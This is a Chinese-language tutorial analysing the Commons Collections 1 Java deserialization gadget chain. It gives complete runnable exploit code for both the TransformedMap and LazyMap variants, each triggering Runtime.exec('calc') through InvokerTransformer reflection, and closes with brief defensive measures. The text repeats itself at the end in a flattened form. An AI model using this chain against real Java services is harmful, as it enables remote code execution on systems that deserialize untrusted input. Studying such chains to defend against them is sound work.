Java反序列化——CC1
字数 1553 2025-08-11 08:36:02

Java反序列化漏洞分析:Commons Collections 1 (CC1) 链详解

1. Commons Collections 简介

Apache Commons Collections 是Apache软件基金会的项目,旨在提供可重用的、解决各种实际通用问题的开源Java代码。主要组成部分:

  • Proper:已发布的项目
  • Sandbox:正在开发的项目
  • Dormant:刚启动或已停止维护的项目

1.1 包结构

org.apache.commons.collections - 自定义公用的接口和工具类
org.apache.commons.collections.bag - 实现Bag接口的类
org.apache.commons.collections.bidimap - 实现BidiMap接口的类
org.apache.commons.collections.buffer - 实现Buffer接口的类
org.apache.commons.collections.collection - 实现java.util.Collection接口的类
org.apache.commons.collections.comparators - 实现java.util.Comparator接口的类
org.apache.commons.collections.functors - 自定义功能类
org.apache.commons.collections.iterators - 实现java.util.Iterator接口的类
org.apache.commons.collections.keyvalue - 键/值映射相关类
org.apache.commons.collections.list - 实现java.util.List接口的类
org.apache.commons.collections.map - 实现Map接口的类
org.apache.commons.collections.set - 实现Set接口的类

2. 环境配置

  1. 下载并安装 jdk8u65
  2. 创建IDEA Maven项目,使用jdk8u65
  3. 添加Maven依赖:
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>
  1. 导入sun包源码:
    • 下载openJDK 8u65的zip文件
    • 解压jdk8u65的src.zip
    • 将openJDK中的sun文件夹拷贝到jdk8u65的src目录中

3. TransformMap版CC1链分析

3.1 攻击链思路

反序列化攻击思路:

  1. 入口类需要readObject方法
  2. 结尾需要一个能够命令执行的方法
  3. 中间通过链式调用连接

流程图:尾部(exec) → 中间链 → 头部(readObject)

3.2 寻找命令执行点

InvokerTransformer类中找到反射调用任意类的方法:

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    } catch (...) {
        // 异常处理
    }
}

构造命令执行示例:

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(
    "exec", 
    new Class[]{String.class},
    new Object[]{"calc"}
);
invokerTransformer.transform(runtime);

3.3 构建调用链

  1. 寻找transform调用点

    • TransformedMap.checkSetValue()调用了transform()
    • TransformedMap构造方法是protected,通过decorate()静态方法创建对象
  2. 寻找setValue调用点

    • AbstractInputCheckedMapDecorator.setValue()调用了checkSetValue
    • 遍历TransformedMap时会调用setValue
  3. 寻找readObject入口

    • AnnotationInvocationHandler中找到符合要求的readObject方法

3.4 解决关键问题

  1. Runtime序列化问题
    • Runtime不可序列化,但Runtime.class可以
    • 使用反射获取Runtime:
Method getRuntimeMethod = (Method) new InvokerTransformer(
    "getMethod",
    new Class[]{String.class,Class[].class},
    new Object[]{"getRuntime",null}
).transform(Runtime.class);

Runtime r = (Runtime) new InvokerTransformer(
    "invoke",
    new Class[]{Object.class,Object[].class},
    new Object[]{null,null}
).transform(getRuntimeMethod);

new InvokerTransformer(
    "exec",
    new Class[]{String.class},
    new Object[]{"calc"}
).transform(r);
  1. 使用ChainedTransformer优化
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  1. 满足if条件
    • 使用Target类,设置key="value"

3.5 完整利用链

InvokerTransformer#transform
↓
TransformedMap#checkSetValue 
↓
AbstractInputCheckedMapDecorator#setValue 
↓
AnnotationInvocationHandler#readObject

辅助工具类:

  • ConstantTransformer
  • ChainedTransformer
  • HashMap

3.6 完整代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1_TransformMap {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap();
        map.put("value","value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
        
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annocationInvocationHandler = c.getDeclaredConstructor(Class.class,Map.class);
        annocationInvocationHandler.setAccessible(true);
        Object o = annocationInvocationHandler.newInstance(Target.class, transformedMap);
        
        serialize(o);
        unserialize("ser.bin");
    }
    
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    
    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        return ois.readObject();
    }
}

4. LazyMap版CC1链分析

ysoserial工具中使用的是LazyMap构造的链子,与TransformMap版的主要区别在于:

  1. 使用LazyMap.decorate()代替TransformedMap.decorate()
  2. 增加了动态代理部分

4.1 完整代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1_LazyMap {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap();
        Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
        
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annocationInvocationHandler = c.getDeclaredConstructor(Class.class,Map.class);
        annocationInvocationHandler.setAccessible(true);
        
        InvocationHandler h = (InvocationHandler) annocationInvocationHandler.newInstance(Override.class, lazyMap);
        Map mapProxy = (Map) Proxy.newProxyInstance(
            LazyMap.class.getClassLoader(),
            new Class[]{Map.class},
            h
        );
        
        Object o = annocationInvocationHandler.newInstance(Override.class, mapProxy);
        serialize(o);
        unserialize("ser.bin");
    }
    
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    
    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        return ois.readObject();
    }
}

5. 防御措施

  1. 升级Commons Collections到最新版本
  2. 使用Java安全管理器限制反序列化
  3. 使用白名单机制控制可反序列化的类
  4. 使用JDK9+的模块化系统限制sun包的访问

6. 总结

CC1反序列化漏洞利用的关键点:

  1. 利用InvokerTransformer的反射机制执行任意命令
  2. 通过TransformedMapLazyMap触发transform调用
  3. 利用AnnotationInvocationHandlerreadObject方法作为入口
  4. 使用ChainedTransformer将多个transform操作串联
  5. 使用ConstantTransformer解决Runtime序列化问题

理解CC1链需要掌握Java反射、集合框架、动态代理和序列化机制等核心知识。

Java反序列化漏洞分析:Commons Collections 1 (CC1) 链详解 1. Commons Collections 简介 Apache Commons Collections 是Apache软件基金会的项目,旨在提供可重用的、解决各种实际通用问题的开源Java代码。主要组成部分: Proper :已发布的项目 Sandbox :正在开发的项目 Dormant :刚启动或已停止维护的项目 1.1 包结构 2. 环境配置 下载并安装 jdk8u65 创建IDEA Maven项目,使用jdk8u65 添加Maven依赖: 导入sun包源码: 下载openJDK 8u65的zip文件 解压jdk8u65的src.zip 将openJDK中的sun文件夹拷贝到jdk8u65的src目录中 3. TransformMap版CC1链分析 3.1 攻击链思路 反序列化攻击思路: 入口类需要 readObject 方法 结尾需要一个能够命令执行的方法 中间通过链式调用连接 流程图: 尾部(exec) → 中间链 → 头部(readObject) 3.2 寻找命令执行点 在 InvokerTransformer 类中找到反射调用任意类的方法: 构造命令执行示例: 3.3 构建调用链 寻找transform调用点 : TransformedMap.checkSetValue() 调用了 transform() TransformedMap 构造方法是protected,通过 decorate() 静态方法创建对象 寻找setValue调用点 : AbstractInputCheckedMapDecorator.setValue() 调用了 checkSetValue 遍历 TransformedMap 时会调用 setValue 寻找readObject入口 : 在 AnnotationInvocationHandler 中找到符合要求的 readObject 方法 3.4 解决关键问题 Runtime序列化问题 : Runtime不可序列化,但 Runtime.class 可以 使用反射获取Runtime: 使用ChainedTransformer优化 : 满足if条件 : 使用 Target 类,设置key="value" 3.5 完整利用链 辅助工具类: ConstantTransformer ChainedTransformer HashMap 3.6 完整代码 4. LazyMap版CC1链分析 ysoserial工具中使用的是LazyMap构造的链子,与TransformMap版的主要区别在于: 使用 LazyMap.decorate() 代替 TransformedMap.decorate() 增加了动态代理部分 4.1 完整代码 5. 防御措施 升级Commons Collections到最新版本 使用Java安全管理器限制反序列化 使用白名单机制控制可反序列化的类 使用JDK9+的模块化系统限制sun包的访问 6. 总结 CC1反序列化漏洞利用的关键点: 利用 InvokerTransformer 的反射机制执行任意命令 通过 TransformedMap 或 LazyMap 触发transform调用 利用 AnnotationInvocationHandler 的 readObject 方法作为入口 使用 ChainedTransformer 将多个transform操作串联 使用 ConstantTransformer 解决Runtime序列化问题 理解CC1链需要掌握Java反射、集合框架、动态代理和序列化机制等核心知识。